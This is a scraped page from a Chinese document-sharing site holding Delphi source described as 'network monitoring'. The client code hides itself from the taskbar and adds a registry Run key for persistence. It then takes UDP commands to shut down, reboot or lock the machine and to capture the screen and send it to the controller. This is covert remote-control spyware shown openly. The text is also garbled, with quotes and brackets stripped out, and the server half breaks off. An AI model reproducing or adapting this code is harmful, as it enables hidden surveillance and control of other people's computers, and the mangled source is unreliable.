Delphi:网络监控

上传人:cl****1 文档编号:430917919 上传时间:2022-11-19 格式:DOC 页数:27 大小:79.51KB
返回 下载 相关 举报
Delphi:网络监控_第1页
第1页 / 共27页
Delphi:网络监控_第2页
第2页 / 共27页
Delphi:网络监控_第3页
第3页 / 共27页
Delphi:网络监控_第4页
第4页 / 共27页
Delphi:网络监控_第5页
第5页 / 共27页
点击查看更多>>
资源描述

《Delphi:网络监控》由会员分享,可在线阅读,更多相关《Delphi:网络监控(27页珍藏版)》请在金锄头文库上搜索。

1、Delphi:网络监控客户端:用的是nmudp控件unit Unit1;interfaceuses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, NMUDP,Registry;type TClient = class(TForm) CUDP: TNMUDP; procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure CUDPDataReceived(Sen

2、der: TComponent; NumberBytes: Integer; FromIP: String; Port: Integer); private/ procedure add; Private declarations public Public declarations end;var Client: TClient;implementation$R *.dfmconst BufSize=2048; 发送每一笔数据的缓冲区大小 var BmpStream:TMemoryStream; LeftSize:Longint; 发送每一笔数据后剩余的字节数 function Regist

3、erServiceProcess (dwProcessID, dwType: DWord) : DWord;stdcall; external KERNEL32.DLL;procedure ScreenCap(LeftPos,TopPos,RightPos,BottomPos:integer); var RectWidth,RectHeight:integer; SourceDC,DestDC,Bhandle:integer; Bitmap:TBitmap; begin RectWidth:=RightPos-LeftPos; RectHeight:=BottomPos-TopPos; Sou

4、rceDC:=CreateDC(DISPLAY,nil); DestDC:=CreateCompatibleDC(SourceDC); Bhandle:=CreateCompatibleBitmap(SourceDC, RectWidth,RectHeight); SelectObject(DestDC,Bhandle); BitBlt(DestDC,0,0,RectWidth,RectHeight,SourceDC, LeftPos,TopPos,SRCCOPY); Bitmap:=TBitmap.Create; Bitmap.Handle:=BHandle; BitMap.SaveToSt

5、ream(BmpStream); BmpStream.Position:=0; LeftSize:=BmpStream.Size; Bitmap.Free; DeleteDC(DestDC); ReleaseDC(Bhandle,SourceDC); end; procedure add;/写入注册表自动运行var reg:TRegistry;begin reg:=TRegistry.create; try reg.RootKey:=HKEY_CURRENT_USER; IF reg.openkey(softwaremicrosoftwindowscurrentversionrun,true)

6、 then reg.WriteString(MyApp,” + ParamStr(0) + ”); finally reg.CloseKey; reg.Free;end;end;procedure TClient.FormCreate(Sender: TObject);beginBmpStream:=TMemoryStream.Create;RegisterServiceProcess(GetCurrentProcessID,1);/在任务栏隐藏add;end;procedure TClient.FormDestroy(Sender: TObject);beginBmpStream.Free;

7、 end;procedure TClient.CUDPDataReceived(Sender: TComponent; NumberBytes: Integer; FromIP: String; Port: Integer);var CtrlCode:array0.29 of char; Buf:array0.BufSize-1 of char; TmpStr:string; SendSize,LeftPos,TopPos,RightPos,BottomPos:integer; begin CUDP.ReadBuffer(CtrlCode,NumberBytes); 读取控制码 if Ctrl

8、Code0+CtrlCode1+CtrlCode2+CtrlCode3=shut then ExitWindowsEx(EWX_SHUTDOWN,0); if CtrlCode0+CtrlCode1+CtrlCode2+CtrlCode3=rset then ExitWindowsEx(EWX_REBOOT,0); if CtrlCode0+CtrlCode1+CtrlCode2+CtrlCode3=lack then enablewindow(getdesktopwindow,false); if CtrlCode0+CtrlCode1+CtrlCode2+CtrlCode3=unlo th

9、en enablewindow(getdesktopwindow,true); if CtrlCode0+CtrlCode1+CtrlCode2+CtrlCode3=show then begin 控制码前4位为”show”表示主控机发出了抓屏指令 if BmpStream.Size=0 then 没有数据可发,必须截屏生成数据 begin TmpStr:=StrPas(CtrlCode); TmpStr:=Copy(TmpStr,5,Length(TmpStr)-4); LeftPos:=StrToInt(Copy(TmpStr,1,Pos(:,TmpStr)-1); TmpStr:=Cop

10、y(TmpStr,Pos(:,TmpStr)+1,Length(TmpStr) -Pos(:,TmpStr); TopPos:=StrToInt(Copy(TmpStr,1,Pos(:,TmpStr)-1); TmpStr:=Copy(TmpStr,Pos(:,TmpStr)+1,Length(TmpStr)- Pos(:,TmpStr); RightPos:=StrToInt(Copy(TmpStr,1,Pos(:,TmpStr)-1); BottomPos:=StrToInt(Copy(TmpStr,Pos(:,TmpStr )+1,Length(TmpStr)-Pos(:,TmpStr)

11、; ScreenCap(LeftPos,TopPos,RightPos,BottomPos); 截取屏幕 end; if LeftSizeBufSize then SendSize:=BufSize else SendSize:=LeftSize; BmpStream.ReadBuffer(Buf,SendSize); LeftSize:=LeftSize-SendSize; if LeftSize=0 then BmpStream.Clear; 清空流 CUDP.RemoteHost:=FromIP; FromIP为主控机IP地址 CUDP.SendBuffer(Buf,SendSize);

12、 将数据发到主控机的2222口 end; end;end.服务器端unit Unit1;interfaceuses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls,shellapi, NMUDP; const wmicb=wmuser+1000;type TServer = class(TForm) SUDP: TNMUDP; Panel1: TPanel; Image1: TImage; ScrollBar1: TScrollBar;

13、ScrollBar2: TScrollBar; Panel2: TPanel; Button1: TButton; Button2: TButton; CheckBox1: TCheckBox; CheckBox2: TCheckBox; CheckBox3: TCheckBox; CheckBox4: TCheckBox; CheckBox5: TCheckBox; Edit1: TEdit; Edit2: TEdit; Label1: TLabel; Label2: TLabel; Panel3: TPanel; procedure FormCreate(Sender: TObject);

14、 procedure Button1Click(Sender: TObject); procedure SUDPDataReceived(Sender: TComponent; NumberBytes: Integer; FromIP: String; Port: Integer); procedure Button2Click(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure ScrollBar1Change(Sender: TObject); procedure ScrollBar2Change(Sender: TObject); procedure ScrollBar1Scroll(Sender: TObject; ScrollCo

展开阅读全文
相关资源
正为您匹配相似的精品文档
相关搜索

最新文档


当前位置:首页 > 大杂烩/其它

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号